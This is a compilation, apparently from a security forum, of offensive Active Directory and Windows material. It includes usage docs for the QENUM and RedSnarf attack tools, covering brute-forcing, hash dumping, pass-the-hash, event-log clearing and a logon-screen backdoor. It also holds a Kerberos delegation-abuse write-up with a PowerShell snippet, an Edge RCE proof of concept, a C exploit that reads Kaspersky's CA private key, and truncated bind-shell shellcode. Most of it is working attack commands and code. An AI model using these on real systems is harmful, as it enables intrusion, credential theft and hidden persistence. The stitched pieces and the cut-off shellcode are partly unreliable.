QENUM - Quick Enum QENUM is an attack tool which carries out commonly needed basic enumeration tasks when probing a Domain Controller. .-') ('-. .-') _ _ .-') .( OO) _( OO) ( OO ) ) ( '.( OO )_ (_)---\_) (,------.,--./ ,--,' ,--. ,--. ,--. ,--.) ' .-. ' | .---'| \ | |\ | | | | | `.' | ,| | | | | | | \| | )| | | .-') | | (_| | | | (| '--. | . |/ | |_|( OO )| |'.'| | | | | | | .--' | |\ | | | | `-' /| | | | ' '-' '-.| `---.| | \ | (' '-'(_.-' | | | | `-----'--'`------'`--' `--' `-----' `--' `--' QENUM functionality includes: • User enumeration using RID cycling or Enumdomusers - user names saved to file • Basic password brute-forcing • Enumerates Domain Admins - usernames saved to file • Enumerates shares, attempts to mount shares and dir • Enumerates user accounts which have a description field which is not empty, usernames and descriptions saved to file for analysis Username Gathering [*]RID Cycle To RID Cycle with qenum -H target ip -u username -p password -s start RID (default 500) -t to RID (default 550) -m cycle method r qenum.py -H 10.0.0.1 -u rich -p mypassword -s 500 -t 1500 -m r For NULL Sessions qenum.py -H 10.0.0.1 -u "" -s 500 -t 1500 -m r Any enumerated usernames will be output to a file on the local machine [*]Enumdomusers To gather users with Enumdomusers -H target ip -u username -p password -m cycle method e qenum.py -H 10.0.0.1 -u rich -p mypassword -m e For NULL Sessions qenum.py -H 10.0.0.1 -u "" -m e Any enumerated usernames will be output to a file on the local machine Password Cracking To crack the password for found usernames -H target ip -u filename containing username list -p password to try against each username qenum.py -H 10.0.0.1 -u file=10.0.0.12_users.txt -p PasswordToTry Useful Enumeration Functions Functions - All Functions -a, Enumerate Shares -s, Enumerate Domain Admins -da, Enumerate Descriptions -d [*]All Functions To run all enumeration functions -H target ip -u username -p password -f a qenum.py -H 10.0.0.1 -u rich -p mypassword -f a [*]Enumerate Shares This function retrieves share names and then tries to mount each one. If successful it then does a directory listing -H target ip -u username -p password -f s qenum.py -H 10.0.0.1 -u rich -p mypassword -f s [*]Domain Admins This function retrieves a list of Domain Admins and then saves to file ready for password attacks -H target ip -u username -p password -f da qenum.py -H 10.0.0.1 -u rich -p mypassword -f da [*]Enumerate Descriptions This function enumerates all users and looks for accounts where the description is not empty. Accounts which meet this criteria will be saved to file. -H target ip -u username -p password -f d qenum.py -H 10.0.0.1 -u rich -p mypassword -f d Sursa: https://github.com/dickdavy/qenum

S4U2Pwnage January 5, 2017 by harmj0y Several weeks ago my workmate Lee Christensen (who helped develop this post and material) and I spent some time diving into Active Directory’s S4U2Self and S4U2Proxy protocol extensions. Then, just recently, Benjamin Delpy and Ben Campbell had an interesting public conversation about the same topic on Twitter. This culminated with Benjamin releasing a modification to Kekeo that allows for easy abuse of S4U misconfigurations. As I was writing this, Ben also published an excellent post on this very topic, which everyone should read before continuing. No, seriously, go read Ben’s post first. Lee and I wanted to write out our understanding of the technology and how you can go about abusing any misconfigurations while on engagements. Some of this will overlap with Ben’s post, but we have incorporated a few different aspects that we think add at least a bit of value. Ben also covers the Linux exploitation aspect, which we won’t touch on in this post. At the heart of this matter is the delegation of privileges – allowing one user to pretend to be another in Active Directory. This delegation (currently) comes in two flavors: unconstrained and constrained delegation. If you don’t care about the technical details, skip to the Abusing S4U section. Unconstrained Delegation Say you have a server (or service account) that needs to impersonate another user for some reason. One common scenario is when a user authenticates to a web server, using Kerberos or other protocols, and the server wants to nicely integrate with a SQL backend. Active Directory grants two general ways to go about this: constrained and unconstrained delegation. Unconstrained delegation used to be the only option available in Windows 2000, and the functionality has been kept (presumably for backwards compatibility reasons). We’ll only briefly cover this delegation type as Sean Metcalf has a great post that covers it in depth. In that article Sean states, “When Kerberos Unconstrained Delegation is enabled on the server hosting the service specified in the Service Principal Name referenced in the TGS-REQ (step 3), the Domain Controller the DC places a copy of the user’s TGT into the service ticket. When the user’s service ticket (TGS) is provided to the server for service access, the server opens the TGS and places the user’s TGT into LSASS for later use. The Application Server can now impersonate that user without limitation!“. Here’s a graphical overview of the protocol from Microsoft: https://msdn.microsoft.com/en-us/library/cc246080.aspx Tl;dr: The TGT will be stuffed into memory where an attacker can extract and reuse it if: You are able to compromise a server that has unconstrained delegation set. You are able to trick a domain user that doesn’t have ‘Account is sensitive and cannot be delegated’ enabled (see Protections below) to connect to any service on the machine. This includes clicking on \\SERVER\Share. This allows an attacker to impersonate that user to any service/machine on the domain! Obviously bad mmmkay. To contrast, if unconstrained delegation isn’t enabled, just a normal service ticket without a TGT stuffed inside it would be submitted, so the attacker would get no additional lateral spread advantage. How can you tell which machines have unconstrained delegation set? This is actually pretty easy: search for any machine that has a userAccountControl attribute containing ADS_UF_TRUSTED_FOR_DELEGATION. You can do this with an LDAP filter of ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, which is what PowerView’s Get-DomainComputer function does when passed the -Unconstrained flag: Constrained Delegation Obviously unconstrained delegation can be quite dangerous in the hands of a careless admin. Microsoft realized this early on and released ‘constrained’ delegation with Windows 2003. This included a set of Kerberos protocol extensions called S4U2Self and S4U2Proxy. These extensions also enable something called protocol transition, which we’ll go over in a bit. In essence, constrained delegation is a way to limit exactly what services a particular machine/account can access while impersonating other users. Here’s how a service account configured with constrained delegation looks in the Active Directory GUI: The ‘service’ specified is a service principal name that the account is allowed to access while impersonating other users. This is HOST/PRIMARY.testlab.local in our above example. Before we get into the specifics of how this works, here’s how that target object looks in PowerView: The field of interest is msds-allowedtodelegateto, but there’s also a modification to the account’s userAccountControl property. Essentially, if a computer/user object has a userAccountControl value containing TRUSTED_TO_AUTH_FOR_DELEGATION then anyone who compromises that account can impersonate any user to the SPNs set in msds-allowedtodelegateto. Ben mentions SeEnableDelegationPrivilege being required to actually modify these parameters, which I’ll go over in more depth next week. But first, a bit more on how Active Directory implements this whole process. Feel free to skip ahead to the Abusing S4U section if you’re not interested. S4U2Self, S4U2Proxy, and Protocol Transition So you have a web service account that needs to impersonate users to only a specific backend service, but you don’t want to allow unconstrained delegation to run wild. Microsoft’s solution to how to architect this is through the service-for-user (S4U) set of Kerberos extensions. There’s extensive documentation on this topic; Lee and I were partial to the Microsoft’s “Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol” ([MS-SFU]). What follows is our current understanding. If we’ve messed something up, please let us know! The first extension that implements constrained delegation is the S4U2self extension, which allows a service to request a special forwardable service ticket to itself on behalf of a particular user. This is meant for use in cases where a user authenticates to a service in a way not using Kerberos, i.e. in our web service case. During the first KRB_TGS_REQ to the KDC, the forwardable flag it set, which requests that the TGS returned be marked as forwardable and thus able to be used with the S4U2proxy extension. In unconstrained delegation, a TGT is used to identify the user, but in this case the S4U extension uses the PA-FOR-USER structure as a new type in the “padata”/pre-authentication data field. Note that the S4U2self process can be executed for any user, and that target user’s password is not required. Also, the S4U2self process is only allowed if the requesting user has the TRUSTED_TO_AUTH_FOR_DELEGATION field set in their userAccountControl. Now, Lee and I first thought that this may be a way to Kerberoast any user we wanted, but unfortunately for us attackers this isn’t the case. The PAC is signed for the source (not the target) user, in this case the requesting service account, so universal Kerberoasting is out of the picture. But we now have a special service ticket that’s forwardable to the target service configured for constrained delegation in this case. The second extension is S4U2proxy, which allows the caller, the service account in our case, to use this forwardable ticket to request a service ticket to any SPN specified in msds-allowedtodelegateto, impersonating the user specified in the S4U2self step. The KDC checks if the requested service is listed in the msds-allowedtodelegateto field of the requesting user, and issues the ticket if this check passes. In this way the delegation is ‘constrained’ to specific target services. Here’s Microsoft’s diagram of S4U2self and S4U2proxy: https://msdn.microsoft.com/en-us/library/cc246080.aspx This set of extensions allows for what Microsoft calls protocol transition, which starts with the first Kerberos exchange during the S4u2Self component. This means that a service can authenticate a user over a non-Kerberos protocol and ‘transition’ the authentication to Kerberos, allowing for easy interoperability with existing environments. Abusing S4U If you’re asking yourself “so what” or skipped ahead to this section, we can think of a few ways that the S4U extensions can come into play on a pentest. The first is to enumerate all computers and users with a non-null msds-allowedtodelegateto field set. This can be done easily with PowerView’s -TrustedToAuth flag for Get-DomainUser/Get-DomainComputer: Now, remember that a machine or user account with a SPN set under msds-allowedtodelegateto can pretend to be any user they want to the target service SPN. So if you’re able to compromise one of these accounts, you can spoof elevated access to the target SPN. For the HOST SPN this allows complete remote takeover. For a MSSQLSvc SPN this would allow DBA rights. A CIFS SPN would allow complete remote file access. A HTTP SPN it would likely allow for the takeover of the remote webservice, and LDAP allows for DCSync ; ) HTTP/SQL service accounts, even if they aren’t elevated admin on the target, can also possibly be abused with Rotten Potato to elevate rights to SYSTEM (though I haven’t tested this personally). Luckily for us, Benjamin recently released a modification to Kekeo to help facilitate these types of lateral spread attacks if we know the plaintext password of the specific accounts. Lee and I envision four different specific scenarios involving S4U that you may want to abuse. We have tested two of the scenarios in a lab reliably, but haven’t been able to get the other two working (notes below). [edit]: @gentilkiwi reached out and let Lee and I know that asktgt.exe accepts a /key:NTLM argument as well as a password. This allows us to execute scenarios 3 and 4 below using account hashes instead of plaintexts! Scenario 1 : User Account Configured For Constrained Delegation + A Known Plaintext This is the scenario that Benjamin showed in his tweet. If you are able to compromise the plaintext password for a user account that has constrained delegation enabled, you can use Kekeo to request a TGT, execute the S4U TGS request, and then ultimately access the target service. Enumerating users with msds-allowedtodelegateto Requesting a TGT for the user account with constrained delegation enabled Using s4u.exe to execute S4U2Proxy Injecting the S4U ticket to utilize access Again, if you would like to execute this attack from a Linux system, read Ben’s post. Scenario 2 : Agent on a Computer Configured For Constrained Delegation If you are able to compromise a computer account that is configured for constrained delegation (instead of a user account) the attack approach is a bit different. As any process running as SYSTEM takes on the privileges of the local machine account, we can skip the Kekeo asktgt.exe step. You can also use an alternative method to execute the S4U2Proxy process, helpfully provided by Microsoft. Lee and I translated the process from C# into PowerShell as follows: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # translated from the C# example at https://msdn.microsoft.com/en-us/library/ff649317.aspx # load the necessary assembly $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') # execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user $Ident = New-Object System.Security.Principal.WindowsIdentity @('Administrator@TESTLAB.LOCAL') # actually impersonate the next context $Context = $Ident.Impersonate() # implicitly invoke S4U2Proxy with the specified action ls \\PRIMARY.TESTLAB.LOCAL\C$ # undo the impersonation context $Context.Undo() As detailed by Microsoft, when using WindowsIdentity, an “identify-level” token is returned by default for most situations. This allows you to see what groups are associated with the user token, but doesn’t allow you to reuse the access. In order to use the impersonation context to access additional network resources, an impersonation-level token is needed, which is only returned when the requesting account has the “Act as part of the operating system” user right (SeTcbPrivilege). This right is only granted to SYSTEM by default, but since we need to be SYSTEM already to use the privileges of the machine account on the network, we don’t need to worry. Also, due to some of the powershell.exe peculiarities I mentioned a bit ago, if you are using PowerShell Version 2, you need to launch powershell.exe in single-thread apartment mode (with the “-sta” flag) in order for the token impersonation to work properly: SYSTEM on a computer with msds-allowedtodelegateto set S4U2Proxy for a computer account Scenario 3 : User Account Configured For Constrained Delegation + A Known NTLM Hash Our next goal was to execute this transition attack from a Window system only given the the target user’s NTLM hash, which we were unfortunately not able to get working properly with the same method as scenario 2. Our gut feeling is that we’re missing some silly detail, but we wanted to detail what we tried and what went wrong in case anyone had a tip for getting it working properly. [Edit] Ben’s pointed out that /key:NTLM works for asktgt.exe as well, which is covered below. We attempted to use Mimikatz’ PTH command to inject the user’s hash into memory (assuming you are a local admin on the pivot system) instead of Kekro’s asktgt.exe. One issue here (as in scenario 2) is SeTcbPrivilege, but despite explicitly granting our principal user that right we still ran into issues. It appears that the the S4U2Self step worked correctly: Despite the necessary privileges/rights, it appeared that the S4U2Proxy process fell back to NTLM instead of Kerberos with some NULL auths instead of the proper process: [Edit] You can execute this scenario with asktgt.exe/s4u.exe nearly identically to scenario 1. Simply substitute /key:NTLM instead of /password:PLAINTEXT: Scenario 4 : Computer Account Configured For Constrained Delegation + A Known NTLM Hash If you compromise a computer account hash through some means, and want to execute the attack from another domain machine, we imagined that you would execute an attack flow nearly identical to scenario 3. Unfortunately, we ran into the same problems. Again, if anyone can give us a tip on what we’re doing wrong, we would be greatly appreciative [Edit] This can be executed with /user:MACHINE$ and /key:NTLM for asktgt.exe, identical to scenario 3: Protections Microsoft has a great protection already built into Active Directory that can help mitigate delegation abuse. If an account has “Account is sensitive and cannot be delegated” enabled, then “the security context of the user will not be delegated to a service even if the service account is set as trusted for Kerberos delegation“. You can easily check if an account has this set by again examining the userAccountControl attribute, checking for the NOT_DELEGATED value. PowerView allows you to easily search for accounts with this value set or not set (Get-DomainUser -AllowDelegation/-DisallowDelegation) and you can use the ConvertFrom-UACValue function to examine the values set for a particular account, as shown in previous examples. Next week I will have a post that overlaps a bit with this topic, and presents additional defensive ideas concerning the rights needed to modify these delegation components for user objects. Sursa: http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/

______ .____________ _____ \______ \ ____ __| _/ _____/ ____ _____ ________/ ____\ | _// __ \ / __ |\_____ \ / \\__ \\_ __ \ __\ | | \ ___// /_/ |/ \ | \/ __ \| | \/| | |____|_ /\___ >____ /_______ /___| (____ /__| |__| \/ \/ \/ \/ \/ \/ RedSnarf is a pen-testing / red-teaming tool by Ed William and Richard Davy for retrieving hashes and credentials from Windows workstations, servers and domain controllers using OpSec Safe Techniques. RedSnarf functionality includes: • Retrieval of local SAM hashes; • Enumeration of user/s running with elevated system privileges and their corresponding lsa secrets password; • Retrieval of MS cached credentials; • Pass-the-hash; • Quickly identify weak and guessable username/password combinations (default of administrator/Password01); • The ability to retrieve hashes across a range; • Hash spraying - o Credsfile will accept a mix of pwdump, fgdump and plain text username and password separated by a space; • Lsass dump for offline analysis with Mimikatz; • Dumping of Domain controller hashes using NTDSUtil and retrieval of NTDS.dit for local parsing; • Dumping of Domain controller hashes using the drsuapi method; • Retrieval of Scripts and Policies folder from a Domain controller and parsing for 'password' and 'administrator'; • Ability to decrypt cpassword hashes; • Ability to start a shell on a remote machine; • The ability to clear the event logs (application, security, setup or system); (Internal Version only) • Results are saved on a per-host basis for analysis. • Enable/Disable RDP on a remote machine. • Change RDP port from 3389 to 443 on a remote machine. • Enable/Disable NLA on a remote machine. • Find where users are logged in on remote machines. • Backdoor Windows Logon Screen • Enable/Disable UAC on a remote machine. • Stealth mimikatz added. • Parsing of domain hashes • Ability to determine which accounts are enabled/disabled RedSnarf Usage ======================= Requirements: Impacket v0.9.16-dev - https://github.com/CoreSecurity/impacket.git CredDump7 - https://github.com/Neohapsis/creddump7 Lsass Retrieval using procdump - https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx Netaddr (0.7.12) - pip install netaddr Termcolor (1.1.0) - pip install termcolor iconv - used with parsing Mimikatz info locally Show Help ./redsnarf.py -h ./redsnarf.py --help Retrieve Local Hashes ======================= Retrieve Local Hashes from a single machine using weak local credentials and clearing the Security event log ./redsnarf.py -H ip=10.0.0.50 -uC security Retrieve Local Hashes from a single machine using weak local credentials and clearing the application event log ./redsnarf.py -H ip=10.0.0.50 -uC application Retrieve Local Hashes from a single machine using local administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . Retrieve Local Hashes from a single machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com Retrieve Hashes across a network range using local administrator credentials ./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d . Retrieve Hashes across a network range using domain administrator credentials ./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com Retrieve Hashes across a network range using domain administrator credentials ./redsnarf.py -H file=targets.txt -u administrator -p Password01 -d yourdomain.com Hash Spraying ======================= Spray Hashes across a network range ./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d . Retrieve Hashes across a network range domain login ./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d yourdomain.com Quickly Check Credentials ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password1 -d . -cQ y Quickly Check File containing usernames (-hS) and a generic password (-hP) ./redsnarf.py -H ip=10.0.0.1 -hS /path/to/usernames.txt -hP PasswordToTry -cQ y Retrieve Domain Hashes ======================= Retrieve Hashes using drsuapi method (Quickest) This method supports an optional flag of -q y which will query LDAP and output whether accounts are live or disabled ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hI y (-hQ y) Retrieve Hashes using NTDSUtil This method supports an optional flag of -q y which will query LDAP and output whether accounts are live or disabled ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hN y (-hQ y) Information Gathering ======================= Copy the Policies and Scripts folder from a Domain Controller and parse for password and administrator ./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -uP y Decrypt Cpassword ./redsnarf.py -uG cpassword Find User - Live /redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eL user.name Find User - Offline (searches pre downloaded information) /redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eO user.name Misc ======================= Start a Shell on a machine using local administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -uD y Start a Shell on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uD y Retrieve a copy of lsass for offline parsing with Mimikatz on a machine using local administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -hL y Run stealth mimikatz, this option fires up a web-server to serve a powershell script, this is obfusctaed and encoded machine side, data doesnt touch disk - creds are grepped for in an easy to read style and echoed back to screen. ./redsnarf.py -H ip=192.168.198.162 -u administrator -p Password01 -cS y -hR y Run Custom Command Example 1 ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'net user' Example 2 - Double Quotes need to be escaped with \ ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'dsquery group -name \"domain admins\" | dsget group -members -expand' Local Access Token Policy Creates a batch file lat.bat which you can copy and paste to the remote machine to execute which will modify the registry and either enable or disable Local Access Token Policy settings. ./redsnarf.py -rL y Wdigest Enable UseLogonCredential Wdigest registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW e Disable UseLogonCredential Wdigest registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW d Query UseLogonCredential Wdigest registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW q UAC Enable UAC registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU e Disable UAC registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU d Query UAC registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU q Backdoor - Backdoor Windows Screen - Press Left Shift + Left Alt + Print Screen to activate Enable Backdoor registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB e Disable Backdoor registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB d Query Backdoor registry value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB q RDP ======================= RDP Enable RDP on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR e Disable RDP on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR d Query RDP status on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR q Change RDP Port from 3389 to 443 - Change RDP Port to 443 on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT e Change RDP Port to default of 3389 on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT d Query RDP Port Value on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT q NLA ======================= Enable NLA on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN e Disable NLA on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN d Query NLA status on a machine using domain administrator credentials ./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN q Sursa: https://github.com/nccgroup/redsnarf

******************************************************************************* * SI6 Networks IPv6 Toolkit v2.0 (Guille) * ******************************************************************************* Description of each of the files and directories: ------------------------------------------------- data: Contains the configuration files and miscellaneous databases. manuals: Contains the manual pages for the security assessment tools. tools: Contains the source code for the security assessment tools. CHANGES.TXT: Contains the changelog of the toolkit CREDITS.TXT: Contains the credits of this project. LICENSE.TXT: Contains the license for this software (GPLv3) README.TXT: This file. Building the tools ------------------ You can build the tools by running the following command: make all You can install the tools, configuration file, database, and existing manual pages by running the following command: make install Note: The libpcap library must be previously installed on the system. The corresponding package is typically named "libpcap-dev". All the tools have been tested to build (both with gcc and clang) and run on Debian GNU/Linux 7.0, Debian GNU/kfreebsd 7.0, FreeBSD 9.0, NetBSD 6.1.1, OpenBSD 5.3, Ubuntu 14.04 LTS, Mac 0S 10.8.0, and OpenSolaris . Bug reports ----------- Please send any bug reports to Fernando Gont <fgont@si6networks.com> Sursa: https://github.com/fgont/ipv6toolkit

Source: https://github.com/theori-io/chakra-2016-11 Proofs of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40990.zip chakra.dll Info Leak + Type Confusion for RCE Proof-of-Concept exploit for Edge bugs (CVE-2016-7200 & CVE-2016-7201) Tested on Windows 10 Edge (modern.ie stable). FillFromPrototypes_TypeConfusion.html: WinExec notepad.exe FillFromPrototypes_TypeConfusion_NoSC.html: 0xcc (INT 3) To run: Download exploit/FillFromPrototypes_TypeConfusion.html to a directory. Serve the directory using a webserver (or python's simple HTTP server). Browse with a victim IE to FillFromPrototypes_TypeConfusion.html. Sursa: https://www.exploit-db.com/exploits/40990/

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=989 When Kaspersky generate a private key for the local root, they store the private key in %ProgramData%. Obviously this file cannot be shared, because it's the private key for a trusted local root certificate and users can use it to create certificates, sign files, create new roots, etc. If I look at the filesystem ACLs, I should have access, and was about to complain that they've done this incorrectly, but it doesn't work and it took me a while to figure out what they were doing. $ icacls KLSSL_privkey.pem KLSSL_privkey.pem BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) <-- All users should have read access NT AUTHORITY\SYSTEM:(I)(F) Successfully processed 1 files; Failed processing 0 files $ cat KLSSL_privkey.pem cat: KLSSL_privkey.pem: Permission denied Single stepping through why this fails, I can see their filter driver will deny access from their PFLT_POST_OPERATION_CALLBACK after checking the Irpb. That sounds difficult to get right, and reverse engineering the filter driver, I can see they're setting Data->IoStatus.Status = STATUS_ACCESS_DENIED if the Irpb->Parameters (like DesiredAccess or whatever) don't match a hardcoded bitmask. But the blacklist is insufficient, they even missed MAXIMUM_ALLOWED (?!!!). This is trivial to exploit, any unprivileged user can now become a CA. */ #include <windows.h> #include <stdio.h> #include <io.h> #include <fcntl.h> int main(int argc, char **argv) { HANDLE File; BYTE buf[2048] = {0}; DWORD count; File = CreateFile("c:\\ProgramData\\Kaspersky Lab\\AVP17.0.0\\Data\\Cert\\KLSSL_privkey.pem", MAXIMUM_ALLOWED, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (File != INVALID_HANDLE_VALUE) { if (ReadFile(File, buf, sizeof(buf), &count, NULL) == TRUE) { setmode(1, O_BINARY); fwrite(buf, 1, count, stdout); } CloseHandle(File); return 0; } return 1; } /* $ cl test.c Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 Copyright (C) Microsoft Corporation. All rights reserved. test.c Microsoft (R) Incremental Linker Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. /out:test.exe test.obj $ ./test.exe | openssl rsa -inform DER -text -noout Private-Key: (2048 bit) modulus: 00:b4:3f:57:21:e7:c3:45:e9:43:ec:b4:83:b4:81: bb:d3:3b:9b:1b:da:07:55:68:e0:b1:75:38:b9:66: 0d:4c:e4:e7:f3:92:01:fb:33:bf:e6:34:e4:e8:db: f1:7c:53:bc:95:2c:2d:08:8d:7c:8c:03:71:cd:07: */ Sursa: https://www.exploit-db.com/exploits/40988/

/* # Title : Windows x64 Password Protected Bind Shell TCP shellcode # size : 825 bytes # Author : Roziul Hasan Khan Shifat # Tested On : Windows 7 x64 professional # Date : 01-01-2017 */ /* file format pe-x86-64 Disassembly of section .text: 0000000000000000 <_start>: 0: 99 cltd 1: b2 80 mov $0x80,%dl 3: 48 29 d4 sub %rdx,%rsp 6: 4c 8d 24 24 lea (%rsp),%r12 a: 48 31 d2 xor %rdx,%rdx d: 65 48 8b 42 60 mov %gs:0x60(%rdx),%rax 12: 48 8b 40 18 mov 0x18(%rax),%rax 16: 48 8b 70 10 mov 0x10(%rax),%rsi 1a: 48 ad lods %ds:(%rsi),%rax 1c: 48 8b 30 mov (%rax),%rsi 1f: 48 8b 7e 30 mov 0x30(%rsi),%rdi 23: b2 88 mov $0x88,%dl 25: 8b 5f 3c mov 0x3c(%rdi),%ebx 28: 48 01 fb add %rdi,%rbx 2b: 8b 1c 13 mov (%rbx,%rdx,1),%ebx 2e: 48 01 fb add %rdi,%rbx 31: 8b 73 1c mov 0x1c(%rbx),%esi 34: 48 01 fe add %rdi,%rsi 37: 48 31 d2 xor %rdx,%rdx 3a: 41 c7 04 24 77 73 32 movl $0x5f327377,(%r12) 41: 5f 42: 66 41 c7 44 24 04 33 movw $0x3233,0x4(%r12) 49: 32 4a: 41 88 54 24 06 mov %dl,0x6(%r12) 4f: 66 ba 40 03 mov $0x340,%dx 53: 8b 1c 96 mov (%rsi,%rdx,4),%ebx 56: 48 01 fb add %rdi,%rbx 59: 49 8d 0c 24 lea (%r12),%rcx 5d: ff d3 callq *%rbx 5f: 49 89 c7 mov %rax,%r15 62: 48 31 d2 xor %rdx,%rdx 65: b2 88 mov $0x88,%dl 67: 41 8b 5f 3c mov 0x3c(%r15),%ebx 6b: 4c 01 fb add %r15,%rbx 6e: 8b 1c 13 mov (%rbx,%rdx,1),%ebx 71: 4c 01 fb add %r15,%rbx 74: 44 8b 73 1c mov 0x1c(%rbx),%r14d 78: 4d 01 fe add %r15,%r14 7b: 66 ba c8 01 mov $0x1c8,%dx 7f: 41 8b 1c 16 mov (%r14,%rdx,1),%ebx 83: 4c 01 fb add %r15,%rbx 86: 48 31 c9 xor %rcx,%rcx 89: 66 b9 98 01 mov $0x198,%cx 8d: 48 29 cc sub %rcx,%rsp 90: 48 8d 14 24 lea (%rsp),%rdx 94: 66 b9 02 02 mov $0x202,%cx 98: ff d3 callq *%rbx 9a: 48 83 ec 58 sub $0x58,%rsp 9e: 48 83 ec 58 sub $0x58,%rsp a2: 48 31 d2 xor %rdx,%rdx a5: 66 ba 88 01 mov $0x188,%dx a9: 41 8b 1c 16 mov (%r14,%rdx,1),%ebx ad: 4c 01 fb add %r15,%rbx b0: 6a 06 pushq $0x6 b2: 6a 01 pushq $0x1 b4: 6a 02 pushq $0x2 b6: 59 pop %rcx b7: 5a pop %rdx b8: 41 58 pop %r8 ba: 4d 31 c9 xor %r9,%r9 bd: 4c 89 4c 24 20 mov %r9,0x20(%rsp) c2: 4c 89 4c 24 28 mov %r9,0x28(%rsp) c7: ff d3 callq *%rbx c9: 49 89 c5 mov %rax,%r13 cc: 41 8b 5e 04 mov 0x4(%r14),%ebx d0: 4c 01 fb add %r15,%rbx d3: 6a 10 pushq $0x10 d5: 41 58 pop %r8 d7: 48 31 d2 xor %rdx,%rdx da: 49 89 14 24 mov %rdx,(%r12) de: 49 89 54 24 08 mov %rdx,0x8(%r12) e3: 41 c6 04 24 02 movb $0x2,(%r12) e8: 66 41 c7 44 24 02 09 movw $0xbd09,0x2(%r12) ef: bd f0: 49 8d 14 24 lea (%r12),%rdx f4: 4c 89 e9 mov %r13,%rcx f7: ff d3 callq *%rbx f9: 41 8b 5e 30 mov 0x30(%r14),%ebx fd: 4c 01 fb add %r15,%rbx 100: 6a 01 pushq $0x1 102: 5a pop %rdx 103: 4c 89 e9 mov %r13,%rcx 106: ff d3 callq *%rbx 108: 48 83 ec 58 sub $0x58,%rsp 10c: eb 12 jmp 120 <a> 000000000000010e <kick>: 10e: 48 83 c4 58 add $0x58,%rsp 112: 41 8b 5e 08 mov 0x8(%r14),%ebx 116: 4c 01 fb add %r15,%rbx 119: 49 8b 4c 24 f8 mov -0x8(%r12),%rcx 11e: ff d3 callq *%rbx 0000000000000120 <a>: 120: 41 8b 1e mov (%r14),%ebx 123: 4c 01 fb add %r15,%rbx 126: 48 31 d2 xor %rdx,%rdx 129: 49 89 14 24 mov %rdx,(%r12) 12d: 49 89 54 24 08 mov %rdx,0x8(%r12) 132: b2 10 mov $0x10,%dl 134: 52 push %rdx 135: 4c 8d 04 24 lea (%rsp),%r8 139: 49 8d 14 24 lea (%r12),%rdx 13d: 4c 89 e9 mov %r13,%rcx 140: ff d3 callq *%rbx 142: 49 89 44 24 f8 mov %rax,-0x8(%r12) 147: 41 8b 5e 48 mov 0x48(%r14),%ebx 14b: 4c 01 fb add %r15,%rbx 14e: 49 8b 4c 24 f8 mov -0x8(%r12),%rcx 153: 41 c7 04 24 2d 